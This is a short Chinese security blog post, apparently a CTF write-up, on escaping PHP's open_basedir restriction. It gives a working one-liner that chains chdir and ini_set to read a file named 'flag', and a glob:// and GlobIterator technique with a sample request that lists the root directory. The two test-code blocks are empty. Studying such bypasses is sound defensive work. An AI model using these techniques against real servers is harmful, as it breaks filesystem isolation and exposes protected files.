方法一
bypass open_basedir方法
1 |
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag')); |
方法二
使用可遍历目录类绕过 open_basedir
使用 DirectoryIterator 类或 FilesystemIterator 类
DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。
测试代码:
1 |
|
我们输入 /?whoami=glob:///* 即可列出根目录下的所有文件
使用 GlobIterator 类
由于使用 GlobIterator 类支持直接通过模式匹配来寻找文件路径,所以我们就不用在配合glob://协议了。
测试代码:
1 |
|
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论